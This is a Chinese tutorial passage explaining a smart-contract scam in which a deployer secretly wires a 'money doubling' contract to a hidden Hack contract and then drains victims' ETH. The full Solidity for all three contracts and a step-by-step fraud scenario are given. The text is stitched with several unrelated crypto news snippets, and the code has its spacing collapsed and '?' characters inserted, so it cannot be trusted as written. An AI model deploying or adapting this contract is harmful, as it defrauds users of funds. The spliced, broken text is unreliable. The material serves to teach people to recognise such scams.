概述
上期我们了解了利用tx.origin进行钓鱼的攻击手法，本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。
前置知识
大家还记得之前几期部署攻击合约时我们会传入目标合约的地址，在攻击合约中就可以调用目标合约中的函数吗，有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源，其实我们会在部署A合约时传入C合约的地址，如果受害者完全信任我们没有检查部署A合约的那笔交易，我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑：
Messari分析师：最有价值的区块链会是一个智能合约平台:金色财经报道，Messari分析师Ryan Watkins发推表示，我相信世界上最有价值的区块链终将会是一个智能合约平台，我们会在未来十年内在加密行业看到一次最伟大的智能合约市场“战争”，虽然我将其定义为一场“战争”，但不一定是一场零和游戏，一些生态系统可能共存、甚至共生，不过最终只会有一条最有价值的链。以太坊将会是世界新经济基础设施，能够使人协作、创造财富、并掌握自己的经济命运。[2021/9/3 22:56:30]
用户以为的调用路径：
部署合约A传入合约B地址，这样调用路径为正常路径。
实际的调用路径：
部署合约A传入合约C地址，这样调用路径为非正常路径。
下面我们使用一个简单的例子来分析这个局：
恶意代码
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}
火币大学顾问合伙人方军：区块链应用三套件分别是区块链平台、智能合约和通证:9月18日上午，火币大学全球区块链领导者课程（GBLP）第六期产业模块继续开课，火币大学顾问合伙人方军以《从互联网+到区块链+的商业变革——通证经济模型设计》的主题为学员们带来授课。
方军表示，互联网的商业模式主要是平台经济，而区块链+的商业模式则是通证经济。简单抽象来看，要做一个区块链应用，需要三套件。第一选择一个区块链平台，可能是公链，自己搭一个联盟链，也可能用蚂蚁金服、腾讯云、火币中国提供的BaaS服务等。第二在区块链上，为了实现业务逻辑，需要写程序，区块链术语里叫“智能合约”。以太坊就是去中心化的智能合约与应用平台。第三用区块链的账本、合约编写出来通证，也就是价值凭证，既可以像比特币、以太坊的可互换通证，也可以是像加密猫、票据等不可互换通证。总之，通过这三件套就可以了解区块链+的创新模式。[2020/9/18]
局分析
可以看到，上述代码中存在三个合约，我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色：
声音 | 观点：区块链有望带领人类从“契约社会”过渡到“智能合约”社会:新浪财经今日发表评论文章称，人类社会发展的一切障碍，从根本上来说都是由于“互不信任”导致的，尤其是各种经济和金融危机。如果能解决互相信任的问题，人类将完成一次非常大的跨越，而区块链的发展已逐渐为此打下基础。人类文明已经从“身份社会”进化到“契约社会”，区块链有望带领人类从“契约社会”过渡到“智能合约”社会。[2019/12/2]
MoneyMaker合约代表A合约；
Vault合约代表B合约；
Hack合约代表C合约。
所以用户以为的调用路径为：
MoneyMaker->Vault。
而实际的调用路径为：
MoneyMaker->Hack。
下面我们来看看攻击者如何完成局的：
1.Evil部署Vault(B)合约并在合约中留存100ETH资金，在链上将Vault(B)合约开源；
动态 | IOHK发布新电子书 以帮助开发人员为Cardano编写高效智能合约:IOHK最近发布了一本名为《普路托斯：编写可靠的智能合约》（Plutus: Writing reliable smart contract）的电子书。该书作者Lars Brunjes、Polina Vinogradova表示，他们的主要目标是帮助开发人员为Cardano网络编写高效的智能合约。Vinogradova补充表示，这本书提供了开发高效智能合约的逐行指导，同时简要介绍了在Cardano的生态系统中会计是如何工作的。[2019/8/3]
2.Evil部署Hack(C)恶意合约；
3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约，部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址，任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报；
声音 | 法学教授：智能合约不一定会扰乱传统合同法:据cointelegraph报道，德国弗里德里希席勒大学法学教授Giesela Ruhl近日发文称，智能合约不一定会扰乱传统合同法，她认为智能合约与既定法律先例之间的摩擦可能被过分夸大了。智能合约将使商品和服务的交换不受国家法律的约束，但这一预期似乎没有实现。事实上，合同法的经典问题也出现在当事人签订智能合约的时候。就像所有其他合约一样，它需要法律来解决。因此，重要的不是智能合约是否应受法律约束，而是应受哪些法律的约束。[2019/1/24]
4.Bob收到消息，了解到MoneyMaker合约的存在，他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样，他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil；
5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH，在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。
咋回事呢？其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址，而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太，而是调用了Hack.transfer()抛出了一个事件："Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出，并通过Hack.withrow()将Bob转入的20ETH转出。
预防建议
以太坊黑暗森林中你能相信的只有自己，不要相信任何人精彩的话术，交易记录不会造假，只有自己验证了对应的那笔交易后才能相信对方说的话是对的。
郑重声明： 本文版权归原作者所有， 转载文章仅为传播更多信息之目的， 如作者信息标记有误， 请第一时间联系我们修改或删除， 多谢。